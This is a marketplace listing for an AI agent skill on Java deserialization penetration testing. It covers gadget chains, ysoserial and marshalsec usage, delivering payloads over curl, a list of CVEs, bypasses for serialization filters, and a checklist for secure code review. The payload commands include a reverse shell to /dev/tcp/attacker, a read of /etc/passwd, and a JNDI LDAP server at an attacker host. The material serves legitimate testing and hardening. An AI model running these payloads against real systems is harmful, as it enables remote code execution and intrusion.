# Java Deserialization Pentest

> Java deserialization vulnerability assessment and exploitation. Use this skill whenever the user mentions Java deserialization, ObjectInputStream, readObject, gadget chains, ysoserial, or any Java serialization security testing. Trigger for pentesting Java applications, analyzing serialized payloads, generating exploit code, or hardening Java deserialization. Make sure to use this skill for any Java security assessment involving serialization, even if the user doesn't explicitly mention 'deserialization' but talks about Java object streams, RMI, or serialized data.

- Skill: `abelrguezr/java-deserialization-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/java-deserialization-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/java-deserialization-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/java-deserialization-pentest

---


# Java Deserialization Pentest Skill

A comprehensive guide for assessing and exploiting Java deserialization vulnerabilities during security testing.

## Core Concepts

### Why Deserialization is Dangerous

Java's `ObjectInputStream.readObject()` can execute arbitrary code when deserializing attacker-controlled data. The vulnerability exists because:

1. **`readObject()`** - Class-specific read logic executes during deserialization
2. **`readResolve()`** - Can replace deserialized objects with attacker-controlled ones
3. **`validateObject()`** - Callbacks via `ObjectInputValidation`
4. **Constructors are NOT executed** - Gadget chains rely exclusively on the above callbacks

Any method in this chain invoking attacker-controlled data (command execution, JNDI lookups, reflection) becomes an RCE gadget.

### Classic Attack Pattern

```
Attacker → Serialized Payload → ObjectInputStream.readObject() → readObject() → Gadget Chain → RCE
```

The `readObject()` method can call other methods on deserialized fields, which may execute arbitrary code.

## Attack Methodology

### Step 1: Identify Deserialization Entry Points

Look for these patterns in Java applications:

- `ObjectInputStream.readObject()`
- `RMI` services accepting serialized objects
- `HttpSession` serialization
- Message queues (JMS, Kafka) with Java serialization
- File uploads accepting `.ser`, `.dat`, `.obj` files
- XML with Java object encoding
- Base64-encoded payloads with `{#sb64}` prefix (pac4j)

### Step 2: Enumerate Available Gadget Chains

Use `ysoserial-plus` to discover available gadgets:

```bash
# List all available gadget chains
java -jar ysoserial-plus.jar

# Generate a payload for a specific chain
java -jar ysoserial-plus.jar CommonsCollections6 'calc.exe' | base64 -w0

# Common chains to try:
# - CommonsCollections1-7
# - C3P0
# - Spring1-4
# - Hibernate1-5
# - Tomcat1-2
# - SnakeYAML
# - Groovy1-2
```

### Step 3: Deliver the Payload

**HTTP POST with serialized data:**
```bash
# Base64-encoded payload
curl -X POST http://target/api \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.ser

# Or with base64 in body
curl -X POST http://target/api \
  -H "Content-Type: application/json" \
  -d '{"data": "BASE64_PAYLOAD_HERE"}'
```

**RMI exploitation:**
```bash
# Use marshalsec for RMI
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
```

**File upload:**
```bash
# Upload .ser file directly
python3 scripts/upload_serialized.py http://target/upload payload.ser
```

### Step 4: Verify Code Execution

- Check for callback to attacker-controlled server
- Look for file creation on target
- Monitor for process spawning (calc.exe, reverse shell)
- Use `SerialSniffer` to confirm deserialization occurred

## Tooling

### ysoserial-plus (Primary Exploitation)

```bash
# Install
wget https://github.com/ysoserial/ysoserial-plus/releases/latest/download/ysoserial-plus.jar

# Generate payload
java -jar ysoserial-plus.jar CommonsCollections6 'reverse_shell_command' > payload.ser

# Pipe to base64 for HTTP delivery
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
```

### marshalsec (JNDI Gadgets)

```bash
# Start LDAP server for JNDI injection
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

# Generate JNDI payload
java -cp marshalsec.jar marshalsec.jndi.LDAPPayload 'ldap://attacker:1389/ExploitClass' > payload.ser
```

### gadget-probe (Discovery)

```bash
# Scan for vulnerable deserialization endpoints
gadget-probe --url http://target --threads 50
```

### SerialSniffer (Detection)

```bash
# Attach to JVM to see what's being deserialized
java -javaagent:SerialSniffer.jar -jar target-app.jar
```

### Detection with JDK 22+

```bash
# Enable serialization debug logging
-Djdk.serialDebug=true
```

## Recent Vulnerabilities (2023-2025)

| CVE | Product | Description |
|-----|---------|-------------|
| CVE-2023-34040 | Spring-Kafka | Deserialization of error-record headers |
| CVE-2023-36480 | Aerospike Java Client | Trusted-server assumption broken |
| CVE-2023-25581 | pac4j-core | `{#sb64}` Base64 deserialization bypass |
| CVE-2023-4528 | JSCAPE MFT Manager | XML-encoded Java objects RCE |
| 2024 | ysoserial-plus | New Hibernate5, TomcatEmbed, SnakeYAML 2.x gadgets |

## Mitigation Testing

### Check for Serialization Filtering

```bash
# Test if jdk.serialFilter is configured
echo "Test if filter rejects unknown classes"
# Send payload with uncommon gadget chain
# If rejected, filtering is likely enabled
```

### Verify Filter Configuration

Look for these JVM arguments:

```bash
# Good: Allow-list approach
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

# Good: Resource limits
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"

# Bad: No filter or overly permissive
-Djdk.serialFilter="*"
```

### Test Filter Bypasses

Some filters can be bypassed:

1. **Inner classes** - `com.example.Outer$Inner` may bypass `com.example.Outer`
2. **Array types** - `[Lcom.example.Class;` may bypass class filters
3. **Proxy classes** - `$Proxy0` may bypass filters
4. **Module names** - `java.base/*` is often too permissive

## Secure Code Review Checklist

When reviewing Java code for deserialization:

- [ ] `readObject()` is `private` with `@Serial` annotation
- [ ] No user-supplied method calls in `readObject()`
- [ ] No I/O operations in `readObject()`
- [ ] Validation happens AFTER deserialization, not during
- [ ] `ObjectInputFilter` is registered even for internal services
- [ ] Prefer `Externalizable` over default serialization
- [ ] No raw `ObjectInputStream` exposed over network
- [ ] CI pipeline runs `gadget-inspector` or `serialpwn-cli`

## Quick Reference

### Common Gadget Chains by Library

| Library | Chains | Risk Level |
|---------|--------|------------|
| CommonsCollections | 1-7 | Critical |
| Spring | 1-4 | Critical |
| Hibernate | 1-5 | High |
| SnakeYAML | 1-2 | High |
| Groovy | 1-2 | High |
| C3P0 | 1 | Medium |
| Tomcat | 1-2 | Medium |

### Payload Generation Commands

```bash
# Reverse shell (CommonsCollections6)
java -jar ysoserial-plus.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1' > payload.ser

# File read (C3P0)
java -jar ysoserial-plus.jar C3P0 'cat /etc/passwd' > payload.ser

# JNDI lookup (marshalsec)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
```

## References

- [ysoserial-plus](https://github.com/ysoserial/ysoserial-plus)
- [marshalsec](https://github.com/mbechler/marshalsec)
- [gadget-probe](https://github.com/knownsec404team/gadget-probe)
- [SerialSniffer](https://github.com/knownsec404team/SerialSniffer)
- [JEP 290 - Serialization Filtering](https://openjdk.org/jeps/290)
- [JEP 415 - Context-Specific Filter Factories](https://openjdk.org/jeps/415)

---

**Note:** Always obtain proper authorization before testing deserialization vulnerabilities. Unauthorized exploitation of deserialization flaws is illegal and can cause severe damage to production systems.

